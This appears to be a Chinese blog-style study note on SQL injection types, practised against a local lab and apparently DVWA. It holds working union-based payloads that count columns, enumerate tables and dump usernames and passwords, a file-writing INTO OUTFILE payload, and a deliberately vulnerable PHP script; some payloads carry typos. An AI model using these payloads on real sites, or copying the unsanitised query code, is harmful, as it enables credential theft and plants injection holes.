SQL类型注入
前言:
继续进行未完成的sql注入学习
今天学习了各类型注入。前来进行总结。
目录:
数字型注入
字符型注入
提交注注入
GET注入
POST注入
COOKIE注入
正文:







写入文件的语句
1' union select 'xxxxx' into outfile 'xxx.txt' #
GET注入:
GET注入,顾名思义GET。只要注入的时候
用GET的方式提交就好。
and 1=1
and 1=2
order by 1,2,3
union select database(),version(),user()
union select table_name,2,3 from information_schema where table_schema=HEX #指定数据库的HEX编码
union select column_name,2,3 from informtaion_schema where table_name=HEX #指定数据库的HEX编码
union select 指定字段名 from 指定表名 例:union select username,password from user
POST注入:
提交方式用POST方式提交
POST.html代码
<html> <head> <title>POST注入</title> </head> <body> <div style="color:blue;text-align:center"> <h2>POST注入尝试</h2> <form action="sqlin.php" method="POST"> <input type="text" name="x"> <input type="submit" value="提交"> </form> </div> </body> </html>
sqllin.php代码
//fendo数据库root用户连接mysql数据库,操作user表
<?
$id= $_POST['x'];//接受get传递的参数名x的值并赋值给变量id
$conn = mysql_connect('127.0.0.1','root','root');//连接mysql数据库
mysql_select_db('fendo',$conn);//选择$conn连接请求下的test数据库名
$sql = "select * from user where id=$id";//定义sql语句并组合变量id
$result = mysql_query($sql);//执行sql语句并返回给变量result
while($row = mysql_fetch_array($result)){//遍历数组数据并显示
echo "ID".$row['id']."</br>";
echo "用户名".$row['username']."</br>";
echo "密码".$row['password']."</br>";
}
mysql_close($conn);//关闭数据库连接
echo "<hr>";
echo "当前语句:";
echo $sql;
?>
尝试注入
1 and 1=1


1 and 1=2


存在注入。
猜长度
1 order by 1 #返回正常
1 order by 1,2 #返回正常
1 order by 1,2,3 #返回正常
1 order by 1,2,3,4 #返回错误
长度为3

获取数据库名,数据库版本,数据库用户
1 union select databse(),version(),user()

爆出DVWA的表
1 union select table_name,2,3 from information_schema.tables where table_schema=0x64767761

爆出DVWA下users表的字段
1 union select column_name,2,3 from inforamtion_schema.columns where table_name=0x7573657273

爆出我要的字段
1 union select username,password,3 from user

Cookie注入:
cookie注入:点我看详细注入
学习完这些后,可以画出这么一幅图

盲注目前还没学
浙公网安备 33010602011771号